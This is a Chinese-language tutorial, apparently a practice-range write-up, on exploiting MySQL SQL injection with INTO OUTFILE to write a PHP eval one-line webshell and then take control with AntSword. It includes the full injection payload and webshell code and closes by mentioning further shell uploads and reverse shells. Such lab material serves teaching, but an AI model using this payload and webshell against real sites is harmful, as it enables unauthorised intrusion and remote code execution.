目录
一,mysql文件上传要点
二,文件上传指令
一句话木马
三,实例
1,判断注入方式
2,测试目标网站的闭合方式:
3,写入一句话木马
4,拿到控制权
一,mysql文件上传要点
1,show variables like '%secure%';用来查看mysql是否有读写文件的权限
2,数据库的file权限规定了数据库用户是否有权限,向操作系统内写入和读取已存在的权限
3,into outfile命令使用的环境:必须知道一个,服务器上可以写入文件的文件夹的完整路径
二,文件上传指令
其实我们最终的目的是往目标靶场上上传一句话木马,或者是自己想上传的php文件。
文件上传的用法:
(1)直接可以写在网站的目录下面,然后可以当做一句话木马直接去连接
(2)发现目标网站有文件包含,同时数据库又具备写入一句话木马的权限进行利用
一句话木马
?id=-1')) union select 1,2,"<?php @eval($_POST['hyc']); ?>" into outfile "D:\\phpstudy_pro\\WWW\\hyc.php" --+
<?php @eval($_POST['password']);?>:一句话木马
password是预留密码,这里给的密码是hyc
D:\\phpstudy_pro\\WWW\\是文件路径
hyc.php是新插入的文件名
三,实例
1,判断注入方式
当我们向里面传值的时候,会提示...outfile,说明可用文件上传注入
2,测试目标网站的闭合方式:
但是报错内容没有显示是哪里报错
于是我们使用--+看一下到底是不是’为闭合方式,如下图报错不变,所以闭合方式不是’
于是我们将进行更详细的测试:
当我们试到'))时,可以正常显示
当然在试的过程中可能会出现一些碰巧的情况,比如用”试得到的是一样的结果。
是因为正确答案'))的闭合方式使”无效
怎么解决呢?
我们可以用and 1=1和and 1=2来测试
双引号测试:
两种结果一样,说明”不是正确的结果。
单引号和双括号测试:
两种结果不一样,“错的就是错的“,所以我们找到了正确的闭合方式。
测试列数
3,写入一句话木马
在目标路径下可以看到写入的木马:
打开查看里面写入的内容:
4,拿到控制权
用蚁剑连一下目标靶场:
拿到了电脑的使用权,注入目标达成:
在这里也可以用whoami看到小皮的权限,我给的是普通用户的权限,不是管理员权限
接下来可以上传大马,反弹拿web shell